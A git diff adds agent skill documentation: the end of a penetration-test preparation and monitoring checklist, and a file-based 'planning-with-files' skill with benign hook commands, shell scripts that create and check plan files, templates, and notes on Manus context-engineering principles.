requirements** - GDPR, PCI-DSS, HIPAA +- [ ] **Document data handling rules** - Sensitive data procedures +- [ ] **Confirm legal authorization** - Get written permission + +#### Notify Hosting Provider + +- [ ] **Check provider policies** - What testing is allowed? +- [ ] **Submit authorization requests** - AWS, Azure, GCP requirements +- [ ] **Document approvals** - Keep records + +**Cloud Provider Policies:** +- AWS: https://aws.amazon.com/security/penetration-testing/ +- Azure: https://docs.microsoft.com/security/pentest +- GCP: https://cloud.google.com/security/overview + +#### Freeze Developments + +- [ ] **Stop deployments during testing** - Maintain consistent environment +- [ ] **Document current versions** - Record system states +- [ ] **Avoid critical patches** - Unless security emergency + +### Phase 3: Expertise Selection + +#### Find Qualified Pentesters + +- [ ] **Seek recommendations** - Ask trusted sources +- [ ] **Verify credentials** - OSCP, GPEN, CEH, CREST +- [ ] **Check references** - Talk to previous clients +- [ ] **Match expertise to scope** - Web, network, mobile specialists + +**Evaluation Criteria:** + +| Factor | Questions to Ask | +|--------|------------------| +| Experience | Years in field, similar projects | +| Methodology | OWASP, PTES, custom approach | +| Reporting | Sample reports, detail level | +| Communication | Availability, update frequency | + +#### Define Methodology + +- [ ] **Select testing standard** - PTES, OWASP, NIST +- [ ] **Determine access level** - Black box, gray box, white box +- [ ] **Agree on techniques** - Manual vs. automated testing +- [ ] **Set communication schedule** - Updates and escalation + +**Testing Approaches:** + +| Type | Access Level | Simulates | +|------|-------------|-----------| +| Black Box | No information | External attacker | +| Gray Box | Partial access | Insider with limited access | +| White Box | Full access | Insider/detailed audit | + +#### Define Report Format + +- [ ] **Review sample reports** - Ensure quality meets needs +- [ ] **Specify required sections** - Executive summary, technical details +- [ ] **Request machine-readable output** - CSV, XML for tracking +- [ ] **Agree on risk ratings** - CVSS, custom scale + +**Report Should Include:** +- Executive summary for management +- Technical findings with evidence +- Risk ratings and prioritization +- Remediation recommendations +- Retesting guidance + +### Phase 4: Monitoring + +#### Implement Security Monitoring + +- [ ] **Deploy IDS/IPS** - Intrusion detection systems +- [ ] **Enable logging** - Comprehensive audit trails +- [ ] **Configure SIEM** - Centralized log analysis +- [ ] **Set up alerting** - Real-time notifications + +**Monitoring Tools:** +```bash +# Check security logs +tail -f /var/log/auth.log +tail -f /var/log/apache2/access.log + +# Monitor network +tcpdump -i eth0 -w capture.pcap +``` + +#### Configure Logging + +- [ ] **Centralize logs** - Aggregate from all systems +- [ ] **Set retention periods** - Keep logs for analysis +- [ ] **Enable detailed logging** - Application and system level +- [ ] **Test log collection** - Verify all sources working + +**Key Logs to Monitor:** +- Authentication events +- Application errors +- Network connections +- File access +- System changes + +#### Monitor Exception Tools + +- [ ] **Track error rates** - Unusual spikes indicate testing +- [ ] **Brief operations team** - Distinguish testing from attacks +- [ ] **Document baseline** - Normal vs. pentest activity + +#### Watch Security Tools + +- [ ] **Review IDS alerts** - Separate pentest from real attacks +- [ ] **Monitor WAF logs** - Track blocked attempts +- [ ] **Check endpoint protection** - Antivirus detections + +### Phase 5: Remediation + +#### Ensure Backups + +- [ ] **Verify backup integrity** - Test restoration +- [ ] **Document recovery procedures** - Know how to restore +- [ ] **Separate backup access** - Protect from testing + +#### Reserve Remediation Time + +- [ ] **Allocate team availability** - Post-pentest analysis +- [ ] **Schedule fix implementation** - Address findings +- [ ] **Plan verification testing** - Confirm fixes work + +#### Patch During Testing Policy + +- [ ] **Generally avoid patching** - Maintain consistent environment +- [ ] **Exception for critical issues** - Security emergencies only +- [ ] **Communicate changes** - Inform pentesters of any changes + +#### Cleanup Procedure + +- [ ] **Remove test artifacts** - Backdoors, scripts, files +- [ ] **Delete test accounts** - Remove pentester access +- [ ] **Restore configurations** - Return to original state +- [ ] **Verify cleanup complete** - Audit all changes + +#### Schedule Next Pentest + +- [ ] **Determine frequency** - Annual, quarterly, after changes +- [ ] **Consider continuous testing** - Bug bounty, ongoing assessments +- [ ] **Budget for future tests** - Plan ahead + +**Testing Frequency Factors:** +- Release frequency +- Regulatory requirements +- Risk tolerance +- Past findings severity + +## Quick Reference + +### Pre-Pentest Checklist + +``` +□ Scope defined and documented +□ Authorization obtained +□ Environment prepared +□ Hosting provider notified +□ Team briefed +□ Monitoring enabled +□ Backups verified +``` + +### Post-Pentest Checklist + +``` +□ Report received and reviewed +□ Findings prioritized +□ Remediation assigned +□ Fixes implemented +□ Verification testing scheduled +□ Environment cleaned up +□ Next test scheduled +``` + +## Constraints + +- Production testing carries inherent risks +- Budget limitations affect thoroughness +- Time constraints may limit coverage +- Tester expertise varies significantly +- Findings become stale quickly + +## Examples + +### Example 1: Quick Scope Definition + +```markdown +**Target:** Corporate web application (app.company.com) +**Type:** Gray box web application pentest +**Duration:** 5 business days +**Excluded:** DoS testing, production database access +**Access:** Standard user account provided +``` + +### Example 2: Monitoring Setup + +```bash +# Enable comprehensive logging +sudo systemctl restart rsyslog +sudo systemctl restart auditd + +# Start packet capture +tcpdump -i eth0 -w /tmp/pentest_capture.pcap & +``` + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| Scope creep | Document and require change approval | +| Testing impacts production | Schedule off-hours, use staging | +| Findings disputed | Provide detailed evidence, retest | +| Remediation delayed | Prioritize by risk, set deadlines | +| Budget exceeded | Define clear scope, fixed-price contracts | diff --git a/skills/planning-with-files/SKILL.md b/skills/planning-with-files/SKILL.md new file mode 100644 index 00000000..84d026a5 --- /dev/null +++ b/skills/planning-with-files/SKILL.md @@ -0,0 +1,211 @@ +--- +name: planning-with-files +version: "2.1.2" +description: Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls. +user-invocable: true +allowed-tools: + - Read + - Write + - Edit + - Bash + - Glob + - Grep + - WebFetch + - WebSearch +hooks: + SessionStart: + - hooks: + - type: command + command: "echo '[planning-with-files] Ready. Auto-activates for complex tasks, or invoke manually with /planning-with-files'" + PreToolUse: + - matcher: "Write|Edit|Bash" + hooks: + - type: command + command: "cat task_plan.md 2>/dev/null | head -30 || true" + PostToolUse: + - matcher: "Write|Edit" + hooks: + - type: command + command: "echo '[planning-with-files] File updated. If this completes a phase, update task_plan.md status.'" + Stop: + - hooks: + - type: command + command: "${CLAUDE_PLUGIN_ROOT}/scripts/check-complete.sh" +--- + +# Planning with Files + +Work like Manus: Use persistent markdown files as your "working memory on disk." + +## Important: Where Files Go + +When using this skill: + +- **Templates** are stored in the skill directory at `${CLAUDE_PLUGIN_ROOT}/templates/` +- **Your planning files** (`task_plan.md`, `findings.md`, `progress.md`) should be created in **your project directory** — the folder where you're working + +| Location | What Goes There | +|----------|-----------------| +| Skill directory (`${CLAUDE_PLUGIN_ROOT}/`) | Templates, scripts, reference docs | +| Your project directory | `task_plan.md`, `findings.md`, `progress.md` | + +This ensures your planning files live alongside your code, not buried in the skill installation folder. + +## Quick Start + +Before ANY complex task: + +1. **Create `task_plan.md`** in your project — Use [templates/task_plan.md](templates/task_plan.md) as reference +2. **Create `findings.md`** in your project — Use [templates/findings.md](templates/findings.md) as reference +3. **Create `progress.md`** in your project — Use [templates/progress.md](templates/progress.md) as reference +4. **Re-read plan before decisions** — Refreshes goals in attention window +5. **Update after each phase** — Mark complete, log errors + +> **Note:** All three planning files should be created in your current working directory (your project root), not in the skill's installation folder. + +## The Core Pattern + +``` +Context Window = RAM (volatile, limited) +Filesystem = Disk (persistent, unlimited) + +→ Anything important gets written to disk. +``` + +## File Purposes + +| File | Purpose | When to Update | +|------|---------|----------------| +| `task_plan.md` | Phases, progress, decisions | After each phase | +| `findings.md` | Research, discoveries | After ANY discovery | +| `progress.md` | Session log, test results | Throughout session | + +## Critical Rules + +### 1. Create Plan First +Never start a complex task without `task_plan.md`. Non-negotiable. + +### 2. The 2-Action Rule +> "After every 2 view/browser/search operations, IMMEDIATELY save key findings to text files." + +This prevents visual/multimodal information from being lost. + +### 3. Read Before Decide +Before major decisions, read the plan file. This keeps goals in your attention window. + +### 4. Update After Act +After completing any phase: +- Mark phase status: `in_progress` → `complete` +- Log any errors encountered +- Note files created/modified + +### 5. Log ALL Errors +Every error goes in the plan file. This builds knowledge and prevents repetition. + +```markdown +## Errors Encountered +| Error | Attempt | Resolution | +|-------|---------|------------| +| FileNotFoundError | 1 | Created default config | +| API timeout | 2 | Added retry logic | +``` + +### 6. Never Repeat Failures +``` +if action_failed: + next_action != same_action +``` +Track what you tried. Mutate the approach. + +## The 3-Strike Error Protocol + +``` +ATTEMPT 1: Diagnose & Fix + → Read error carefully + → Identify root cause + → Apply targeted fix + +ATTEMPT 2: Alternative Approach + → Same error? Try different method + → Different tool? Different library? + → NEVER repeat exact same failing action + +ATTEMPT 3: Broader Rethink + → Question assumptions + → Search for solutions + → Consider updating the plan + +AFTER 3 FAILURES: Escalate to User + → Explain what you tried + → Share the specific error + → Ask for guidance +``` + +## Read vs Write Decision Matrix + +| Situation | Action | Reason | +|-----------|--------|--------| +| Just wrote a file | DON'T read | Content still in context | +| Viewed image/PDF | Write findings NOW | Multimodal → text before lost | +| Browser returned data | Write to file | Screenshots don't persist | +| Starting new phase | Read plan/findings | Re-orient if context stale | +| Error occurred | Read relevant file | Need current state to fix | +| Resuming after gap | Read all planning files | Recover state | + +## The 5-Question Reboot Test + +If you can answer these, your context management is solid: + +| Question | Answer Source | +|----------|---------------| +| Where am I? | Current phase in task_plan.md | +| Where am I going? | Remaining phases | +| What's the goal? | Goal statement in plan | +| What have I learned? | findings.md | +| What have I done? | progress.md | + +## When to Use This Pattern + +**Use for:** +- Multi-step tasks (3+ steps) +- Research tasks +- Building/creating projects +- Tasks spanning many tool calls +- Anything requiring organization + +**Skip for:** +- Simple questions +- Single-file edits +- Quick lookups + +## Templates + +Copy these templates to start: + +- [templates/task_plan.md](templates/task_plan.md) — Phase tracking +- [templates/findings.md](templates/findings.md) — Research storage +- [templates/progress.md](templates/progress.md) — Session logging + +## Scripts + +Helper scripts for automation: + +- `scripts/init-session.sh` — Initialize all planning files +- `scripts/check-complete.sh` — Verify all phases complete + +## Advanced Topics + +- **Manus Principles:** See [reference.md](reference.md) +- **Real Examples:** See [examples.md](examples.md) + +## Anti-Patterns + +| Don't | Do Instead | +|-------|------------| +| Use TodoWrite for persistence | Create task_plan.md file | +| State goals once and forget | Re-read plan before decisions | +| Hide errors and retry silently | Log errors to plan file | +| Stuff everything in context | Store large content in files | +| Start executing immediately | Create plan file FIRST | +| Repeat failed actions | Track attempts, mutate approach | +| Create files in skill directory | Create files in your project | diff --git a/skills/planning-with-files/examples.md b/skills/planning-with-files/examples.md new file mode 100644 index 00000000..51b5f3a4 --- /dev/null +++ b/skills/planning-with-files/examples.md @@ -0,0 +1,202 @@ +# Examples: Planning with Files in Action + +## Example 1: Research Task + +**User Request:** "Research the benefits of morning exercise and write a summary" + +### Loop 1: Create Plan +```bash +Write task_plan.md +``` + +```markdown +# Task Plan: Morning Exercise Benefits Research + +## Goal +Create a research summary on the benefits of morning exercise. + +## Phases +- [ ] Phase 1: Create this plan ✓ +- [ ] Phase 2: Search and gather sources +- [ ] Phase 3: Synthesize findings +- [ ] Phase 4: Deliver summary + +## Key Questions +1. What are the physical health benefits? +2. What are the mental health benefits? +3. What scientific studies support this? + +## Status +**Currently in Phase 1** - Creating plan +``` + +### Loop 2: Research +```bash +Read task_plan.md # Refresh goals +WebSearch "morning exercise benefits" +Write notes.md # Store findings +Edit task_plan.md # Mark Phase 2 complete +``` + +### Loop 3: Synthesize +```bash +Read task_plan.md # Refresh goals +Read notes.md # Get findings +Write morning_exercise_summary.md +Edit task_plan.md # Mark Phase 3 complete +``` + +### Loop 4: Deliver +```bash +Read task_plan.md # Verify complete +Deliver morning_exercise_summary.md +``` + +--- + +## Example 2: Bug Fix Task + +**User Request:** "Fix the login bug in the authentication module" + +### task_plan.md +```markdown +# Task Plan: Fix Login Bug + +## Goal +Identify and fix the bug preventing successful login. + +## Phases +- [x] Phase 1: Understand the bug report ✓ +- [x] Phase 2: Locate relevant code ✓ +- [ ] Phase 3: Identify root cause (CURRENT) +- [ ] Phase 4: Implement fix +- [ ] Phase 5: Test and verify + +## Key Questions +1. What error message appears? +2. Which file handles authentication? +3. What changed recently? + +## Decisions Made +- Auth handler is in src/auth/login.ts +- Error occurs in validateToken() function + +## Errors Encountered +- [Initial] TypeError: Cannot read property 'token' of undefined + → Root cause: user object not awaited properly + +## Status +**Currently in Phase 3** - Found root cause, preparing fix +``` + +--- + +## Example 3: Feature Development + +**User Request:** "Add a dark mode toggle to the settings page" + +### The 3-File Pattern in Action + +**task_plan.md:** +```markdown +# Task Plan: Dark Mode Toggle + +## Goal +Add functional dark mode toggle to settings. + +## Phases +- [x] Phase 1: Research existing theme system ✓ +- [x] Phase 2: Design implementation approach ✓ +- [ ] Phase 3: Implement toggle component (CURRENT) +- [ ] Phase 4: Add theme switching logic +- [ ] Phase 5: Test and polish + +## Decisions Made +- Using CSS custom properties for theme +- Storing preference in localStorage +- Toggle component in SettingsPage.tsx + +## Status +**Currently in Phase 3** - Building toggle component +``` + +**notes.md:** +```markdown +# Notes: Dark Mode Implementation + +## Existing Theme System +- Located in: src/styles/theme.ts +- Uses: CSS custom properties +- Current themes: light only + +## Files to Modify +1. src/styles/theme.ts - Add dark theme colors +2. src/components/SettingsPage.tsx - Add toggle +3. src/hooks/useTheme.ts - Create new hook +4. src/App.tsx - Wrap with ThemeProvider + +## Color Decisions +- Dark background: #1a1a2e +- Dark surface: #16213e +- Dark text: #eaeaea +``` + +**dark_mode_implementation.md:** (deliverable) +```markdown +# Dark Mode Implementation + +## Changes Made + +### 1. Added dark theme colors +File: src/styles/theme.ts +... + +### 2. Created useTheme hook +File: src/hooks/useTheme.ts +... +``` + +--- + +## Example 4: Error Recovery Pattern + +When something fails, DON'T hide it: + +### Before (Wrong) +``` +Action: Read config.json +Error: File not found +Action: Read config.json # Silent retry +Action: Read config.json # Another retry +``` + +### After (Correct) +``` +Action: Read config.json +Error: File not found + +# Update task_plan.md: +## Errors Encountered +- config.json not found → Will create default config + +Action: Write config.json (default config) +Action: Read config.json +Success! +``` + +--- + +## The Read-Before-Decide Pattern + +**Always read your plan before major decisions:** + +``` +[Many tool calls have happened...] +[Context is getting long...] +[Original goal might be forgotten...] + +→ Read task_plan.md # This brings goals back into attention! +→ Now make the decision # Goals are fresh in context +``` + +This is why Manus can handle ~50 tool calls without losing track. The plan file acts as a "goal refresh" mechanism. diff --git a/skills/planning-with-files/reference.md b/skills/planning-with-files/reference.md new file mode 100644 index 00000000..1380fbb8 --- /dev/null +++ b/skills/planning-with-files/reference.md @@ -0,0 +1,218 @@ +# Reference: Manus Context Engineering Principles + +This skill is based on context engineering principles from Manus, the AI agent company acquired by Meta for $2 billion in December 2025. + +## The 6 Manus Principles + +### Principle 1: Design Around KV-Cache + +> "KV-cache hit rate is THE single most important metric for production AI agents." + +**Statistics:** +- ~100:1 input-to-output token ratio +- Cached tokens: $0.30/MTok vs Uncached: $3/MTok +- 10x cost difference! + +**Implementation:** +- Keep prompt prefixes STABLE (single-token change invalidates cache) +- NO timestamps in system prompts +- Make context APPEND-ONLY with deterministic serialization + +### Principle 2: Mask, Don't Remove + +Don't dynamically remove tools (breaks KV-cache). Use logit masking instead. + +**Best Practice:** Use consistent action prefixes (e.g., `browser_`, `shell_`, `file_`) for easier masking. + +### Principle 3: Filesystem as External Memory + +> "Markdown is my 'working memory' on disk." + +**The Formula:** +``` +Context Window = RAM (volatile, limited) +Filesystem = Disk (persistent, unlimited) +``` + +**Compression Must Be Restorable:** +- Keep URLs even if web content is dropped +- Keep file paths when dropping document contents +- Never lose the pointer to full data + +### Principle 4: Manipulate Attention Through Recitation + +> "Creates and updates todo.md throughout tasks to push global plan into model's recent attention span." + +**Problem:** After ~50 tool calls, models forget original goals ("lost in the middle" effect). + +**Solution:** Re-read `task_plan.md` before each decision. Goals appear in the attention window. + +``` +Start of context: [Original goal - far away, forgotten] +...many tool calls... +End of context: [Recently read task_plan.md - gets ATTENTION!] +``` + +### Principle 5: Keep the Wrong Stuff In + +> "Leave the wrong turns in the context." + +**Why:** +- Failed actions with stack traces let model implicitly update beliefs +- Reduces mistake repetition +- Error recovery is "one of the clearest signals of TRUE agentic behavior" + +### Principle 6: Don't Get Few-Shotted + +> "Uniformity breeds fragility." + +**Problem:** Repetitive action-observation pairs cause drift and hallucination. + +**Solution:** Introduce controlled variation: +- Vary phrasings slightly +- Don't copy-paste patterns blindly +- Recalibrate on repetitive tasks + +--- + +## The 3 Context Engineering Strategies + +Based on Lance Martin's analysis of Manus architecture. + +### Strategy 1: Context Reduction + +**Compaction:** +``` +Tool calls have TWO representations: +├── FULL: Raw tool content (stored in filesystem) +└── COMPACT: Reference/file path only + +RULES: +- Apply compaction to STALE (older) tool results +- Keep RECENT results FULL (to guide next decision) +``` + +**Summarization:** +- Applied when compaction reaches diminishing returns +- Generated using full tool results +- Creates standardized summary objects + +### Strategy 2: Context Isolation (Multi-Agent) + +**Architecture:** +``` +┌─────────────────────────────────┐ +│ PLANNER AGENT │ +│ └─ Assigns tasks to sub-agents │ +├─────────────────────────────────┤ +│ KNOWLEDGE MANAGER │ +│ └─ Reviews conversations │ +│ └─ Determines filesystem store │ +├─────────────────────────────────┤ +│ EXECUTOR SUB-AGENTS │ +│ └─ Perform assigned tasks │ +│ └─ Have own context windows │ +└─────────────────────────────────┘ +``` + +**Key Insight:** Manus originally used `todo.md` for task planning but found ~33% of actions were spent updating it. Shifted to dedicated planner agent calling executor sub-agents. + +### Strategy 3: Context Offloading + +**Tool Design:** +- Use <20 atomic functions total +- Store full results in filesystem, not context +- Use `glob` and `grep` for searching +- Progressive disclosure: load information only as needed + +--- + +## The Agent Loop + +Manus operates in a continuous 7-step loop: + +``` +┌─────────────────────────────────────────┐ +│ 1. ANALYZE CONTEXT │ +│ - Understand user intent │ +│ - Assess current state │ +│ - Review recent observations │ +├─────────────────────────────────────────┤ +│ 2. THINK │ +│ - Should I update the plan? │ +│ - What's the next logical action? │ +│ - Are there blockers? │ +├─────────────────────────────────────────┤ +│ 3. SELECT TOOL │ +│ - Choose ONE tool │ +│ - Ensure parameters available │ +├─────────────────────────────────────────┤ +│ 4. EXECUTE ACTION │ +│ - Tool runs in sandbox │ +├─────────────────────────────────────────┤ +│ 5. RECEIVE OBSERVATION │ +│ - Result appended to context │ +├─────────────────────────────────────────┤ +│ 6. ITERATE │ +│ - Return to step 1 │ +│ - Continue until complete │ +├─────────────────────────────────────────┤ +│ 7. DELIVER OUTCOME │ +│ - Send results to user │ +│ - Attach all relevant files │ +└─────────────────────────────────────────┘ +``` + +--- + +## File Types Manus Creates + +| File | Purpose | When Created | When Updated | +|------|---------|--------------|--------------| +| `task_plan.md` | Phase tracking, progress | Task start | After completing phases | +| `findings.md` | Discoveries, decisions | After ANY discovery | After viewing images/PDFs | +| `progress.md` | Session log, what's done | At breakpoints | Throughout session | +| Code files | Implementation | Before execution | After errors | + +--- + +## Critical Constraints + +- **Single-Action Execution:** ONE tool call per turn. No parallel execution. +- **Plan is Required:** Agent must ALWAYS know: goal, current phase, remaining phases +- **Files are Memory:** Context = volatile. Filesystem = persistent. +- **Never Repeat Failures:** If action failed, next action MUST be different +- **Communication is a Tool:** Message types: `info` (progress), `ask` (blocking), `result` (terminal) + +--- + +## Manus Statistics + +| Metric | Value | +|--------|-------| +| Average tool calls per task | ~50 | +| Input-to-output token ratio | 100:1 | +| Acquisition price | $2 billion | +| Time to $100M revenue | 8 months | +| Framework refactors since launch | 5 times | + +--- + +## Key Quotes + +> "Context window = RAM (volatile, limited). Filesystem = Disk (persistent, unlimited). Anything important gets written to disk." + +> "if action_failed: next_action != same_action. Track what you tried. Mutate the approach." + +> "Error recovery is one of the clearest signals of TRUE agentic behavior." + +> "KV-cache hit rate is the single most important metric for a production-stage AI agent." + +> "Leave the wrong turns in the context." + +--- + +## Source + +Based on Manus's official context engineering documentation: +https://manus.im/blog/Context-Engineering-for-AI-Agents-Lessons-from-Building-Manus diff --git a/skills/planning-with-files/scripts/check-complete.sh b/skills/planning-with-files/scripts/check-complete.sh new file mode 100644 index 00000000..d17a3e45 --- /dev/null +++ b/skills/planning-with-files/scripts/check-complete.sh @@ -0,0 +1,44 @@ +#!/bin/bash +# Check if all phases in task_plan.md are complete +# Exit 0 if complete, exit 1 if incomplete +# Used by Stop hook to verify task completion + +PLAN_FILE="${1:-task_plan.md}" + +if [ ! -f "$PLAN_FILE" ]; then + echo "ERROR: $PLAN_FILE not found" + echo "Cannot verify completion without a task plan." + exit 1 +fi + +echo "=== Task Completion Check ===" +echo "" + +# Count phases by status (using -F for fixed string matching) +TOTAL=$(grep -c "### Phase" "$PLAN_FILE" || true) +COMPLETE=$(grep -cF "**Status:** complete" "$PLAN_FILE" || true) +IN_PROGRESS=$(grep -cF "**Status:** in_progress" "$PLAN_FILE" || true) +PENDING=$(grep -cF "**Status:** pending" "$PLAN_FILE" || true) + +# Default to 0 if empty +: "${TOTAL:=0}" +: "${COMPLETE:=0}" +: "${IN_PROGRESS:=0}" +: "${PENDING:=0}" + +echo "Total phases: $TOTAL" +echo "Complete: $COMPLETE" +echo "In progress: $IN_PROGRESS" +echo "Pending: $PENDING" +echo "" + +# Check completion +if [ "$COMPLETE" -eq "$TOTAL" ] && [ "$TOTAL" -gt 0 ]; then + echo "ALL PHASES COMPLETE" + exit 0 +else + echo "TASK NOT COMPLETE" + echo "" + echo "Do not stop until all phases are complete." + exit 1 +fi diff --git a/skills/planning-with-files/scripts/init-session.sh b/skills/planning-with-files/scripts/init-session.sh new file mode 100644 index 00000000..1c60de88 --- /dev/null +++ b/skills/planning-with-files/scripts/init-session.sh @@ -0,0 +1,120 @@ +#!/bin/bash +# Initialize planning files for a new session +# Usage: ./init-session.sh [project-name] + +set -e + +PROJECT_NAME="${1:-project}" +DATE=$(date +%Y-%m-%d) + +echo "Initializing planning files for: $PROJECT_NAME" + +# Create task_plan.md if it doesn't exist +if [ ! -f "task_plan.md" ]; then + cat > task_plan.md << 'EOF' +# Task Plan: [Brief Description] + +## Goal +[One sentence describing the end state] + +## Current Phase +Phase 1 + +## Phases + +### Phase 1: Requirements & Discovery +- [ ] Understand user intent +- [ ] Identify constraints +- [ ] Document in findings.md +- **Status:** in_progress + +### Phase 2: Planning & Structure +- [ ] Define approach +- [ ] Create project structure +- **Status:** pending + +### Phase 3: Implementation +- [ ] Execute the plan +- [ ] Write to files before executing +- **Status:** pending + +### Phase 4: Testing & Verification +- [ ] Verify requirements met +- [ ] Document test results +- **Status:** pending + +### Phase 5: Delivery +- [ ] Review outputs +- [ ] Deliver to user +- **Status:** pending + +## Decisions Made +| Decision | Rationale | +|----------|-----------| + +## Errors Encountered +| Error | Resolution | +|-------|------------| +EOF + echo "Created task_plan.md" +else + echo "task_plan.md already exists, skipping" +fi + +# Create findings.md if it doesn't exist +if [ ! -f "findings.md" ]; then + cat > findings.md << 'EOF' +# Findings & Decisions + +## Requirements +- + +## Research Findings +- + +## Technical Decisions +| Decision | Rationale | +|----------|-----------| + +## Issues Encountered +| Issue | Resolution | +|-------|------------| + +## Resources +- +EOF + echo "Created findings.md" +else + echo "findings.md already exists, skipping" +fi + +# Create progress.md if it doesn't exist +if [ ! -f "progress.md" ]; then + cat > progress.md << EOF +# Progress Log + +## Session: $DATE + +### Current Status +- **Phase:** 1 - Requirements & Discovery +- **Started:** $DATE + +### Actions Taken +- + +### Test Results +| Test | Expected | Actual | Status | +|------|----------|--------|--------| + +### Errors +| Error | Resolution | +|-------|------------| +EOF + echo "Created progress.md" +else + echo "progress.md already exists, skipping" +fi + +echo "" +echo "Planning files initialized!" +echo "Files: task_plan.md, findings.md, progress.md" diff --git a/skills/planning-with-files/templates/findings.md b/skills/planning-with-files/templates/findings.md new file mode 100644 index 00000000..056536d9 --- /dev/null +++ b/skills/planning-with-files/templates/findings.md @@ -0,0 +1,95 @@ +# Findings & Decisions +<!-- + WHAT: Your knowledge base for the task. Stores everything you discover and decide. + WHY: Context windows are limited. This file is your "external memory" - persistent and unlimited. + WHEN: Update after ANY discovery, especially after 2 view/browser/search operations (2-Action Rule). +--> + +## Requirements +<!-- + WHAT: What the user asked for, broken down into specific requirements. + WHY: Keeps requirements visible so you don't forget what you're building. + WHEN: Fill this in during Phase 1 (Requirements & Discovery). + EXAMPLE: + - Command-line interface + - Add tasks + - List all tasks + - Delete tasks + - Python implementation +--> +<!-- Captured from user request --> +- + +## Research Findings +<!-- + WHAT: Key discoveries from web searches, documentation reading, or exploration. + WHY: Multimodal content (images, browser results) doesn't persist. Write it down immediately. + WHEN: After EVERY 2 view/browser/search operations, update this section (2-Action Rule). + EXAMPLE: + - Python's argparse module supports subcommands for clean CLI design + - JSON module handles file persistence easily + - Standard pattern: python script.py <command> [args] +--> +<!-- Key discoveries during exploration --> +- + +## Technical Decisions +<!-- + WHAT: Architecture and implementation choices you've made, with reasoning. + WHY: You'll forget why you chose a technology or approach. This table preserves that knowledge. + WHEN: Update whenever you make a significant technical choice. + EXAMPLE: + | Use JSON for storage | Simple, human-readable, built-in Python support | + | argparse with subcommands | Clean CLI: python todo.py add "task" | +--> +<!-- Decisions made with rationale --> +| Decision | Rationale | +|----------|-----------| +| | | + +## Issues Encountered +<!-- + WHAT: Problems you ran into and how you solved them. + WHY: Similar to errors in task_plan.md, but focused on broader issues (not just code errors). + WHEN: Document when you encounter blockers or unexpected challenges. + EXAMPLE: + | Empty file causes JSONDecodeError | Added explicit empty file check before json.load() | +--> +<!-- Errors and how they were resolved --> +| Issue | Resolution | +|-------|------------| +| | | + +## Resources +<!-- + WHAT: URLs, file paths, API references, documentation links you've found useful. + WHY: Easy reference for later. Don't lose important links in context. + WHEN: Add as you discover useful resources. + EXAMPLE: + - Python argparse docs: https://docs.python.org/3/library/argparse.html + - Project structure: src/main.py, src/utils.py +--> +<!-- URLs, file paths, API references --> +- + +## Visual/Browser Findings +<!-- + WHAT: Information you learned from viewing images, PDFs, or browser results. + WHY: CRITICAL - Visual/multimodal content doesn't persist in context. Must be captured as text. + WHEN: IMMEDIATELY after viewing images or browser results. Don't wait! + EXAMPLE: + - Screenshot shows login form has email and password fields + - Browser shows API returns JSON with "status" and "data" keys +--> +<!-- CRITICAL: Update after every 2 view/browser operations --> +<!-- Multimodal content must be captured as text immediately --> +- + +--- +<!-- + REMINDER: The 2-Action Rule + After every 2 view/browser/search operations, you MUST update this file. + This prevents visual information from being lost when context resets. +--> +*Update this file after every 2 view/browser/search operations* +*This prevents visual information from being lost* diff --git a/skills/planning-with-files/templates/progress.md b/skills/planning-with-files/templates/progress.md new file mode 100644 index 00000000..dba9af91 --- /dev/null +++ b/skills/planning-with-files/templates/progress.md @@ -0,0 +1,114 @@ +# Progress Log +<!-- + WHAT: Your session log - a chronological record of what you did, when, and what happened. + WHY: Answers "What have I done?" in the 5-Question Reboot Test. Helps you resume after breaks. + WHEN: Update after completing each phase or encountering errors. More detailed than task_plan.md. +--> + +## Session: [DATE] +<!-- + WHAT: The date of this work session. + WHY: Helps track when work happened, useful for resuming after time gaps. + EXAMPLE: 2026-01-15 +--> + +### Phase 1: [Title] +<!-- + WHAT: Detailed log of actions taken during this phase. + WHY: Provides context for what was done, making it easier to resume or debug. + WHEN: Update as you work through the phase, or at least when you complete it. +--> +- **Status:** in_progress +- **Started:** [timestamp] +<!-- + STATUS: Same as task_plan.md (pending, in_progress, complete) + TIMESTAMP: When you started this phase (e.g., "2026-01-15 10:00") +--> +- Actions taken: + <!-- + WHAT: List of specific actions you performed. + EXAMPLE: + - Created todo.py with basic structure + - Implemented add functionality + - Fixed FileNotFoundError + --> + - +- Files created/modified: + <!-- + WHAT: Which files you created or changed. + WHY: Quick reference for what was touched. Helps with debugging and review. + EXAMPLE: + - todo.py (created) + - todos.json (created by app) + - task_plan.md (updated) + --> + - + +### Phase 2: [Title] +<!-- + WHAT: Same structure as Phase 1, for the next phase. + WHY: Keep a separate log entry for each phase to track progress clearly. +--> +- **Status:** pending +- Actions taken: + - +- Files created/modified: + - + +## Test Results +<!-- + WHAT: Table of tests you ran, what you expected, what actually happened. + WHY: Documents verification of functionality. Helps catch regressions. + WHEN: Update as you test features, especially during Phase 4 (Testing & Verification). + EXAMPLE: + | Add task | python todo.py add "Buy milk" | Task added | Task added successfully | ✓ | + | List tasks | python todo.py list | Shows all tasks | Shows all tasks | ✓ | +--> +| Test | Input | Expected | Actual | Status | +|------|-------|----------|--------|--------| +| | | | | | + +## Error Log +<!-- + WHAT: Detailed log of every error encountered, with timestamps and resolution attempts. + WHY: More detailed than task_plan.md's error table. Helps you learn from mistakes. + WHEN: Add immediately when an error occurs, even if you fix it quickly. + EXAMPLE: + | 2026-01-15 10:35 | FileNotFoundError | 1 | Added file existence check | + | 2026-01-15 10:37 | JSONDecodeError | 2 | Added empty file handling | +--> +<!-- Keep ALL errors - they help avoid repetition --> +| Timestamp | Error | Attempt | Resolution | +|-----------|-------|---------|------------| +| | | 1 | | + +## 5-Question Reboot Check +<!-- + WHAT: Five questions that verify your context is solid. If you can answer these, you're on track. + WHY: This is the "reboot test" - if you can answer all 5, you can resume work effectively. + WHEN: Update periodically, especially when resuming after a break or context reset. + + THE 5 QUESTIONS: + 1. Where am I? → Current phase in task_plan.md + 2. Where am I going? → Remaining phases + 3. What's the goal? → Goal statement in task_plan.md + 4. What have I learned? → See findings.md + 5. What have I done? → See progress.md (this file) +--> +<!-- If you can answer these, context is solid --> +| Question | Answer | +|----------|--------| +| Where am I? | Phase X | +| Where am I going? | Remaining phases | +| What's the goal? | [goal statement] | +| What have I learned? | See findings.md | +| What have I done? | See above | + +--- +<!-- + REMINDER: + - Update after completing each phase or encountering errors + - Be detailed - this is your "what happened" log + - Include timestamps for errors to track when issues occurred +--> +*Update 